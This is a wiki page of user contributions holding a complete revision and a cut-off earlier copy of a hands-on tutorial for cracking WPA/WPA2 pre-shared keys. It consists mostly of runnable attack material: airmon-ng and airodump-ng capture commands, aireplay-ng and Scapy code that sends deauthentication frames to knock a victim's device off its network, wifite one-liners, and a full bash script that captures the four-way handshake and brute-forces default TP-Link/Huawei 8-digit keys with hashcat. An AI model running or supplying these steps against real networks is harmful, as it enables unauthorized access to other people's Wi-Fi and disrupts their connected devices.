Elvis Wiki - User contributions [en]

WPA/WPA2 PSK deauthentication attack

2024-12-18T18:21:44Z

RSchuller: /* Aircrack-ng */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode "PSK" and wlan0mon is the capturing device.
With this command, airodump-ng records the traffic and saves it into different *.cap files.

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

Explanation: -0 starts the deauthentication mode with a count of 1, that means it will be 1 deauthentication Packet sent. The Operator -a $BSSID is the MAC Address of our router -c shows the Victim mac we want to deauthenticate.

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux on Kernel: 6.12.1, Intel Wireless (Alder Lake-S PCH CNVi WiFi)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T18:09:41Z

RSchuller: /* Used Hardware */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
